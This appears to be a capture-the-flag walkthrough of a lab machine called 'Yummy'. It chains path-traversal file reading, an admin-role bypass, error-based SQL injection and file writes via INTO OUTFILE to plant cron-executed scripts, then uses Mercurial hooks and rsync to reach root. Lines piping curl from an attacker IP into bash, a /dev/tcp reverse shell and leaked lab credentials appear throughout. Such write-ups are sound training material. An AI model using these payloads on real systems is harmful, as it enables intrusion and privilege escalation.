Just some 0xW1LD stuff...
by 0xW1LD
we find the following ports open:
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Port 80
has an http
server running what seems to be a web app for booking appointments for a restaurant.
Looking around we can register an account, login, and create bookings, none of which seem to be vulnerable to
SQLi
or XSS
on inital testing.
Register page:
Login page:
Booking page:
Once we book a table an entry appears in the dashboard of the user with the corressponding email:
Intercepting the
Save ICalendar
button shows export
an interesting endpoint that downloads files:
which we can use to trigger a LFI:
1
2
GET /export/../../../../../../../../../../etc/passwd HTTP/1.1
<SNIP>
Which gets us /etc/passwd
1
2
3
4
5
6
7
<SNIP>
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
Attempting to read ssh
keys for users: qa
and dev
nothing there. However, I am able to find /etc/crontab
which gives us more files to take a look at:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
app_backup.sh
gives us the directory of the backup files:
1
2
3
4
5
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
Downloading the backup files we find database credentials in app.py
chef
:3wDo7gSRZIwIHRxZ!
and an admin panel location:
/admindashboard
which requires authentication.
Looking deeper into the code I notice that the way it authenticates is vulnerable as it looks for the value: "administrator"
from the validation:
1
2
3
4
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
in the validate_login()
function we see that it returns email
1
2
3
4
5
6
7
8
9
10
11
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
The site validates email input through the frontend, however if we interecept the Register
and Login
requests we can change the email
to administrator
which grants us access to the admin panel:
Looking back at the code we notice that the parameter o
is directly inputed into an SQL query:
1
2
3
4
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
which we can abuse by inputting the parameter in the url:
1
http://yummy.htb/admindashboard?s=edu&o=ASC' OR 1=1
SQL query output is not visible however errors are, which we can validate through this url SQLi:
1
http://yummy.htb/admindashboard?s=&o=ASC; SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
Checking if there’s a table named users through this url SQLi:
1
http://yummy.htb/admindashboard?s=edu&o=ASC; SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (select group_concat(table_name) from information_schema.tables where table_name='users')))
keep in mind, the error above wouldn’t show if the users table didn’t exist.
Grabbing user columns using this url SQLI:
1
http://yummy.htb/admindashboard?s=edu&o=ASC; SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (select group_concat(column_name) from information_schema.columns where table_name='users')))
Looking around further, we can use the following link with SQLi to deduce that we have an arbitrary file read:
1
http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20%27foo%27%20WHERE%201=1%20AND%20EXTRACTVALUE(1,%20CONCAT(0x5c,%20(select%20@@secure_file_priv)))
Which returns:
indicating that we can write anything on path \\
which means we can write anywhere on the system.
Looking back at /etc/crontab
we notice dbmonitor.sh
, using the LFI we found earlier we can check the contents of dbmonitor.sh
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
We notice that it checks for dbstatus.json
and if it doesn’t fit what it’s looking for then it triggers scripts off the latest version using a regex: fixer-v*
Using this we can clear out dbstatus.json
with:
1
http://yummy.htb/admindashboard?s=&o=ASC;select+"curl+10.10.14.5/rev.sh+|bash;"+INTO+OUTFILE++'/data/scripts/dbstatus.json';
and then write a script that matches the regular expression using a payload:
1
http://yummy.htb/admindashboard?s=&o=ASC;select+"curl+10.10.14.5/rev.sh+|bash;"+INTO+OUTFILE++'/data/scripts/fixer-vSHELL';
And after some time we get a shell:
1
2
3
4
5
Ncat: Connection from 10.10.11.36.
Ncat: Connection from 10.10.11.36:49988.
bash: cannot set terminal process group (2017): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$
Seeing that app_backup.sh
is run by www-data
we can upgrade our shell by writing a new file called rev2.sh
:
1
bash -i >&/dev/tcp/10.10.14.5/8001 0>&1
grabbing that file, and replacing app_backup.sh, we can use mv
since we have write access in the directory:
1
2
3
4
mysql@yummy
$ wget 10.10.14.5/rev2.sh
$ mv app_backup.sh app_backup.bak
$ mv rev2.sh app_backup.sh
we wait for the cron job and get a shell:
1
2
3
4
5
Ncat: Connection from 10.10.11.36.
Ncat: Connection from 10.10.11.36:55190.
bash: cannot set terminal process group (2713): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$
we find /var/www/app-qatesting/.hg
has the following credentials:
qa
:jPAd!XQCtn8Oc@2B
we can SSH!:
1
2
$ssh qa@yummy.htb
qa@yummy:~$
qa
has the following sudo privileges:
1
2
3
4
5
6
$ sudo -l
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
hg
is a command like tool for mercurial
a source control management tool similar to git. One of the files: .hgrc
can have a [hooks]
section. According to
hooks
are:
1
Commands or Python functions that get automatically executed by various actions such as starting or finishing a commit. Multiple hooks can be run for the same action by appending a suffix to the action. Overriding a site-wide hook can be done by changing its value or setting it to an empty string. Hooks can be prioritized by adding a prefix of priority. to the hook name on a new line and setting the priority. The default priority is 0.
So we write /tmp/rev.sh
, we write it in tmp so both qa
and dev
have access to it.
then we write a directory .hg
with hgrc
(copied from /home/qa/.hgrc
):
1
2
[hooks]
post-pull = /tmp/rev.sh
lastly execute the command as dev
:
1
$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
We have a callback as dev
:
1
2
3
4
5
6
7
# nc -lvnp 9001 Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.36.
Ncat: Connection from 10.10.11.36:42634.
I'm out of office until January 29th, don't call me
dev@yummy:/tmp$
Transferring ssh keys to get a more stable shell.
checking sudo -l
once again we see we have rsync
on the app into /opt
using this we can copy /bin/bash
and set the sticky execution bit, and execute rsync
with --chown root:root
to make the bash have root
as it’s owner.
1
$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown root:root /opt/app/
just like that, we have root
!